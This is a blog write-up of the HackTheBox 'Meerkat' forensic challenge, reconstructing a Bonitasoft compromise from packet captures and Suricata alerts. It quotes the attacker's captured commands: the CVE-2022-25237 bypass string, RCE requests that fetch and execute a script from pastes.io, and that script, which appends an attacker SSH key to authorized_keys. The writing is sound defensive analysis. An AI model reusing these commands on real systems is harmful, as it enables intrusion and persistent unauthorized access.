RLCTHD

/home

/posts

Home > Posts > HackTheBox - Meerkat [SOC]

HackTheBox - Meerkat [SOC]

As a fast-growing startup, Forela has been utilising a business management platform. Unfortunately, our documentation is scarce, and our administrators aren’t the most security aware. As our new security provider we’d like you to have a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.

Challenge Overview # 

CTF Name:                 Meerkat
Category:                 Sherlock - SOC
Active/Retired (at pwn):  Retired
Difficulty:               [3] Easy
Author:                   sebh24
Date Released:            13 Nov 2023
Date Completed:           11 Aug 2025
CTF Link:                 https://app.hackthebox.com/sherlocks/Meerkat

Tasks #

Answer 10 questions to conclude if the company is compromised.

[1] We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running? #

In this challenge we’re provided with a meerkat-alerts.json and a meerkat.pcap. First things first, open meerkat.pcap in Wireshark. From Statistics/Protocol Hierarchy it is clear that most traffic is HTTP. Filter for HTTP packets and we can see a /bonita endpoint.

A quick search for endpoint "/bonita" leads us to this site: https://documentation.bonitasoft.com/bonita/latest/api/rest-api-overview from BonitaSoft.

[2] We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out? #

For this task, meerkat-alerts.json will be useful:

cat meerkat-alerts.json | python3 -m json.tool | head -n 20  
[  
   {  
       "ts": "2023-01-19T15:44:49.669971Z",  
       "event_type": "alert",  
       "src_ip": "89.248.165.187",  
       "src_port": 52870,  
       "dest_ip": "172.31.6.44",  
       "dest_port": 10227,  
       "vlan": null,  
       "proto": "TCP",  
       "app_proto": null,  
       "alert": {  
           "severity": 2,  
           "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 82",  
           "category": "Misc Attack",  
           "action": "allowed",  
           "signature_id": 2403381,  
           "gid": 1,  
           "rev": 80387,  
           "metadata": {

It most likely is a Suricata Log EVE JSON. https://docs.suricata.io/en/latest/output/eve/eve-json-format.html

The meerkat (Suricata suricatta) or suricate is a small mongoose found in southern Africa. - https://en.wikipedia.org/wiki/Meerkat

In the json, signature is the rule that triggered the alert:

cat meerkat-alerts.json | python3 -m json.tool | grep -w signature  
           "signature": "ET CINS Active Threat Intelligence Poor Reputation IP group 82",  
           "signature": "ET DROP Dshield Block Listed Source group 1",  
           "signature": "ET DROP Dshield Block Listed Source group 1",  
           "signature": "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management",  
           "signature": "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management",  
           "signature": "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management",  
           "signature": "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management",  
           "signature": "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management",  
           "signature": "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management",  
           "signature": "ET EXPLOIT Bonitasoft Authorization Bypass M1 (CVE-2022-25237)",  
           "signature": "ET INFO User-Agent (python-requests) Inbound to Webserver",  
           "signature": "GPL WEB_SERVER DELETE attempt",  
           "signature": "ET INFO User-Agent (python-requests) Inbound to Webserver",  
           "signature": "ET EXPLOIT Bonitasoft Authorization Bypass M1 (CVE-2022-25237)",
---snip---

Here we’ll see lots of ET WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1 (Possible Staging for CVE-2022-25237), thus we need to look for POST packets in Wireshark: http.request.method == POST

(To open HTTP Stream: right click - follow - HTTP Stream)

Here it is clear that it is not just a regular brute force attack where regular dictionaries are used, but rather an attack where real credentials are tested, possibly from a previous leak. For instance, Konstance.Domaschke@forela.co.uk is tried, an email within the organization with quite a specific password, probably was valid a while ago.

This is indicative of a credential stuffing or targeted account validation attack, rather than generic brute force.

Brute Force vs Credential Stuffing: https://www.cloudflare.com/learning/bots/what-is-credential-stuffing/

The attack’s name is credential stuffing

[3] Does the vulnerability exploited have a CVE assigned - and if so, which one? #

From the JSON file:

Bonitasoft Default User Login Attempt M1 (Possible Staging for CVE-2022-25237)

CVE-2022-25237

[4] Which string was appended to the API URL path to bypass the authorization filter by the attacker’s exploit? #

From the CVE identified in task 3: Bonita Web 2021.2 is affected by a authentication/authorization bypass vulnerability due to an overly broad exclude pattern used in the RestAPIAuthorizationFilter. By appending ;i18ntranslation or /../i18ntranslation/ to the end of a URL, users with no privileges can access privileged API endpoints. This can lead to remote code execution by abusing the privileged API actions.

And in Wireshark, with http.request.method == POST we can see some requests, which have i18ntranslation?action=add appended.

i18ntranslation

[5] How many combinations of usernames and passwords were used in the credential stuffing attack? #

In wireshark, with this filter: http && http.request.uri contains loginservice && frame.len != 105 we identify 59 attempts to login. After quickly analyzing each we notice that the last three rows are the attempt repeated three times in a row, though this record shows up 4 times in total in the capture: seb.broom@forela.co.uk&password=g0vernm3nt

So the number of combinations in the attack is 56

[6] Which username and password combination was successful? #

Analyze the meerkat-alerts.json file to find when was a login successful:

cat meerkat-alerts.json | python3 -m json.tool | grep -i successful  
           "signature": "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)",  
           "category": "Successful Administrator Privilege Gain",  
           "signature": "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)",  
           "category": "Successful Administrator Privilege Gain",  
           "signature": "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)",  
           "category": "Successful Administrator Privilege Gain",  
           "signature": "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)",  
           "category": "Successful Administrator Privilege Gain",

Four successful attempts, this is enough to recall that the user seb.broom showed up 4 times in the capture in a POST packet, so it must be him.

seb.broom@forela.co.uk:g0vernm3nt

Another, more tedious and exact method is to analyze what each POST request returns. An unsuccessful login attempt would return a 401 error, while a successful one would return a 204.

[7] If any, which text sharing site did the attacker utilise? #

Follow the HTTP stream of the first POST packet after the successful login:

An rce_api_extension.zip is added using CVE-2022-25237. Later it is used like so:

GET /bonita/API/extension/rce?p=0&c=1&cmd=cat%20/etc/passwd HTTP/1.1

Returns:

{"p":"0","c":"1","cmd":"cat /etc/passwd","out":"root:x:0:0:root:/root:/bin/bash\ndaemon ---snip---}

The next POST request is: GET /bonita/API/extension/rce?p=0&c=1&cmd=wget%20https://pastes.io/raw/bx5gcr0et8 HTTP/1.1 and it returns:

{"p":"0","c":"1","cmd":"wget https://pastes.io/raw/bx5gcr0et8","out":"--2023-01-19 15:38:52-- https://pastes.io/raw/bx5gcr0et8\nResolving pastes.io (pastes.io)... 66.29.132.145\nConnecting to pastes.io (pastes.io)|66.29.132.145|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 113 [text/plain]\nSaving to: \u2018bx5gcr0et8\u2019\n\n 0K 100% 57.8M=0s\n\n2023-01-19 15:38:53 (57.8 MB/s) - \u2018bx5gcr0et8\u2019 saved [113/113]\n\n","currentDate":"2023-01-19"}

The attacker utilized pastes.io and downloaded paste bx5gcr0et8.

The paste was then executed (third POST request): GET /bonita/API/extension/rce?p=0&c=1&cmd=bash%20bx5gcr0et8 HTTP/1.1

{"p":"0","c":"1","cmd":"bash bx5gcr0et8","out":" % Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n\n 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\n100 380 100 380 0 0 783 0 --:--:-- --:--:-- --:--:-- 783\n100 380 100 380 0 0 783 0 --:--:-- --:--:-- --:--:-- 783\n","currentDate":"2023-01-19"}

[8] Please provide the filename of the public key used by the attacker to gain persistence on our host. #

The paste on https://pastes.io/raw/bx5gcr0et8 has the following contents:

#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart

The new paste https://pastes.io/raw/hffgra4unv contains:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgruRMq3DMroGXrcPeeuEqQq3iS/sAL3gryt+nUqbBA/M+KG4ElCvJS4gP2os1b8FMk3ZwvrVTdpEKW6wdGqPl2wxznBjOBstx6OF2yp9RIOb3c/ezgs9zvnaO07YC8Sm4nkkXHgkabqcM7rHEY4Lay0LWF9UbxueSAHIJgQ2ADbKSnlg0gMnJTNRwKbqesk0ZcG3b6icj6nkKykezBLvWc7z4mkSm28ZVTa15W3HUWSEWRbGgJ6eMBdi7WnWXZ92SYDq0XUBV2Sx2gjoDGHwcd6I0q9BU52wWYo3L3LaPEoTcLuA+hnn82086oUzJfmEUtWGlPAXfJBN7vRIMSvsN

Though the filename is: hffgra4unv

[9] Can you confirm the file modified by the attacker to gain persistence? #

The file modified is: /home/ubuntu/.ssh/authorized_keys. Inside this file the attacker inserted a public key which would allow for an ssh connection anytime.

[10] Can you confirm the MITRE technique ID of this type of persistence mechanism? #

Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user’s home directory under <user-home>/.ssh/authorized_keys https://attack.mitre.org/techniques/T1098/004/

T1098.004

Lessons Learnt #

  • The use of leaked credentials provided the attacker with an easy entry point. Any such accounts should be disabled or replaced before a system is put into production.
  • The exploited vulnerability (CVE-2022-25237) had been publicly disclosed and patched upstream, but Forela’s system was not updated in time, leaving a critical window for exploitation.
  • Public paste services are a common way for attackers to host short-lived malicious scripts. Closely monitoring traffic to these services can help prevent compromise.
  • The attacker modified /home/ubuntu/.ssh/authorized_keys to maintain persistent access. This is a known and detectable persistence method (MITRE T1098.004) that should be tracked.
  • While PCAP and Suricata logs captured the entire attack, the lack of live alerting allowed the attacker to operate undetected until after the fact
  • The compromised account had elevated privileges, which allowed for rapid escalation. Implementing strict role-based access and removing unnecessary admin rights can limit attacker impact.

Get Involved #

I think knowledge should be shared and discussions encouraged. So, don’t hesitate to ask questions, or suggest topics you’d like me to cover in future posts.

Stay Connected   #

You can contact me at ion.miron@tutanota.com

←
HackTheBox - Allegretto [DFIR][Post Available Upon Challenge Retirement]
HackTheBox - Strutted [Linux]
→
back to top